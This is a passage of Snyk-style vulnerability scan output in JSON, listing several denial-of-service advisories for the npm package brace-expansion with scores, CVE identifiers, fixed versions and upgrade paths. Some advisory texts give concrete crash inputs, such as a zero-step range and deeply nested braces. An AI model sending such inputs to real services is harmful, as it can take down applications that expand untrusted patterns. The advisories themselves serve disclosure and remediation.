"cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": 